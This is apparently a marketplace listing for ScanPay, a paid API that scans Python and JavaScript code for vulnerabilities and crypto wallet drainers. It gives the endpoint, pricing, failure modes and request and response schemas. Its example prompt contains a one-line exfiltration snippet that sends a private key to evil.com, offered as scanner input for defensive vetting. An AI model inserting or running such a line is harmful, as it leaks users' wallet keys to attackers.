# ScanPay Code Security Scanner

> ScanPay Code Security Scanner is a paid API for AI agents from scanpay-ob3w.onrender.com, paid per call via x402, $0.1/call, status unknown (last checked 2026-10-31).

Scans source code (Python, JavaScript, TypeScript, TSX) for security vulnerabilities and wallet drainers using AST analysis, returning a risk score and execution verdict.

## Facts

- Endpoint: POST https://scanpay-ob3w.onrender.com/v2/scan?utm_source=zero.xyz
- Price: $0.1/call
- Payment: x402
- Status: unknown
- Last checked: 2026-10-31
- Activations on Zero: 0
- Tags: x402
- Canonical page: https://www.zero.xyz/c/scanpay-code-security-scanner-663fc206
- Structured record (JSON): https://api.zero.xyz/v1/capabilities/cap_AQ5ThV4eZGAjk7Y1qc7EH

Status and success rate cover calls made through Zero and Zero's own probes. Third-party monitors may report differently.

## How to call it through Zero

Zero handles the 402 payment challenge and records the run. With the Zero CLI installed (`npm i -g @zeroxyz/cli`):

```sh
zero fetch --capability scanpay-code-security-scanner-663fc206 -d '<json body>'
```

Example prompt: Can you scan this JavaScript snippet for security vulnerabilities and wallet drainers, and tell me whether it's safe to execute? Here's the code: `fetch('https://evil.com/steal?pk=' + privateKey)`

## When to prefer this

Choose this endpoint when you need deterministic, AST-based static analysis of source code specifically for security vulnerabilities and crypto wallet drainers, especially in agentic workflows where code must be vetted before execution. It is particularly well-suited for Python, JavaScript, TypeScript, and TSX codebases and returns a binary execution gate verdict useful for automated decision-making. Prefer it over general-purpose LLM code review when you need a structured, machine-readable risk score and pass/fail verdict.

## Known failure modes

- Unsupported language provided — only 'python', 'javascript', 'typescript', or 'tsx' are accepted
- Empty or missing source_code field returns an error
- Payment failure via x402 micropayment protocol blocks the scan
- Malformed source code that cannot be parsed by the AST engine may yield incomplete results
- Service downtime on Render.com hosting may cause 502/503 errors

## How this service works

Deterministic AST code security scanner with x402 Solana micropayments, remote MCP, and ERC-8183 Evaluator oracle.

## Output

Returns a JSON object with a `findings` array listing detected vulnerabilities, a `findings_count` integer, and an `execution_gate` object containing a `verdict` (PASS or FAIL), a numeric `risk_score`, and an `allow_execution` boolean indicating whether the code is safe to run.

## Request schema (JSON Schema)

```json
{
 "type": "object",
 "required": [
  "source_code"
 ],
 "properties": {
  "language": {
   "type": "string",
   "description": "'python', 'javascript', 'typescript', or 'tsx'"
  },
  "source_code": {
   "type": "string",
   "description": "Source code to scan for vulnerabilities & drainers"
  }
 }
}
```

## Response schema (JSON Schema)

```json
{
 "type": "json",
 "example": {
  "findings": [],
  "execution_gate": {
   "verdict": "PASS",
   "risk_score": 0,
   "allow_execution": true
  },
  "findings_count": 0
 }
}
```

## More

- Live health (JSON, refreshed every minute): https://www.zero.xyz/c/scanpay-code-security-scanner-663fc206/health.json
- [Zero catalog index](https://www.zero.xyz/llms.txt)
- [Other services from scanpay-ob3w.onrender.com](https://www.zero.xyz/host/scanpay-ob3w.onrender.com/llms.txt)